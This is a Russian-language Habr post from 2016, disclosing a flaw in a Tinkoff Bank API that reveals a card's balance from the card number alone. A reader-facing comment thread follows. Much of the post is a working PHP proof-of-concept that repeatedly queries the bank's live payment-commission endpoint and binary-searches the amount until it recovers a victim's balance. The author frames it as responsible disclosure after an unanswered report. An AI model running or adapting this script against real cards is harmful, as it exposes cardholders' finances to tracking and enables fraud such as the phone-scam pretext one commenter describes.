[Из песочницы] Tinkoff скомпрометировал данные о балансе карт своих клиентов
Заполняю себе спокойно поля, и тут случается неожиданное:
Подождите, ведь я же не нажал кнопку отправить! Откуда это взялось? Поигрался с суммой, проверяется реальная сумма на карте.
Сначала я грешным делом подумал, что аякс отправляет на сервер все данные карты, включая CVC и срок действия, при каждом редактировании. Это, конечно, свинство, но https — пусть творят что хотят. Захожу в запросы браузера:
CVC не передается, это уже интересно. Зато передается срок действия, хоть какая-то защита, думаю я, хотя все еще в недоумении зачем проверять баланс карты аяксом на лету.
Но все же интерес докопать до конца не покидает и редактирую запрос:
Упс. На обратном конце не проверяется ничего, кроме номера карты отправителя.
Очевидно, что методом простого перебора легко подобрать сумму, ниже которой все ок, а выше уже ошибка — это и будет баланс карты. То есть, зная один лишь номер карты (который конечно информация не слишком публичная, но и не критичная, многие дают номера карт друзьям и даже выкладывают их в интернет для получения платежей) можно узнать, сколько там денег. Причем, как показали эксперименты, никакие месячные лимиты на это не влияют.
Дырка не критичная, но доступность этой информации в реальном времени позволяет отслеживать все расходы/пополнения —, а это уже серьезнее.
Сразу же отписался безопасникам по публично доступной почте, но реакции, как обычно, ноль.
Быстренько набросал proof of concept (сильно не бейте, мой опыт программирования — бейсик в школе).
Wrong card number: ' . $card);
}
echo 'Probing card ' . $card . '...
';
flush();
ob_flush();
sleep(1);
$money = 50000;
$max = 1000000;
$min = 0;
$done = false;
$iter = 0;
while ($done == false) {
if($iter %5 == 0) {
echo 'Still working, please hang on...
';
flush();
ob_flush();
sleep(1);
}
$json = file_get_contents('https://www.tinkoff.ru/api/v1/payment_commission/?paymentType=Transfer¤cy=RUB&moneyAmount=' . $money . '&provider=c2c-anytoany&sessionid=1&origin=prt&cardNumber=' . $card . '&fieldtoCardNumber=5213243731243612&fieldagreement=&securityCode=cvc&expiryDate=10/20');
$obj = json_decode($json);
$result = $obj->{'resultCode'};
if ($result == "OK") {
//need to increase
$min = $money;
$money = ($min + $max) /2;
$last_total_money = round($obj->payload->total->value);
} else {
//need to decrease
$max = $money;
$money = ($min + $max) /2;
}
$iter++;
if ((floor($max) - floor($min)) == 0) {
$done = true;
echo '
Money amount is ' . $last_total_money . ' roubles.';
}
if ($iter > 50) {
exit('
Something went terribly wrong, or the bug is already fixed. Last amount is ' . $last_total_money);
}
}
?>
Так же залил на tcs.arhs.ru, но хабраэффекта скорее всего не выдержит.
Ну и на правах побрюзжать. Последний интернет-банк получился абсолютно неюзабельным, грустно читать тут статьи разработчиков, которые им еще и гордятся. Переборщили так, что даже заходить лишний раз не хочется, грузится подольше некоторых игрушек, хорошо, хоть мобильное приложение пока нормальное.
Комментарии (3)
11 августа 2016 в 21:23 (комментарий был изменён)
0↑
↓
Возможно в тз сам банк поставил пункт, где проверялся бы баланс без перезагрузки страницы, не слушая никаких аргументов со стороны разработчиков против этого. Для банка это фишка и удобно для пользователя, а на деле…11 августа 2016 в 21:31
0↑
↓
На самом деле это ж для мошенников раздолье. «Мы вам звоним из техподдержки банка, на вашем счету сейчас N руб. Но для *придумать действия* нам еще нужны дата действия карты и код с обратной стороны». Мда, Тинькофф Банк, печаль…11 августа 2016 в 21:32
0↑
↓
подождите ка минуточку, это тот банк, который написал интересную клаузу всем френдам одного товарища в контактике, который что то там по кредиту просрочил? Он, да? И вы у него счет держите? Серьезно?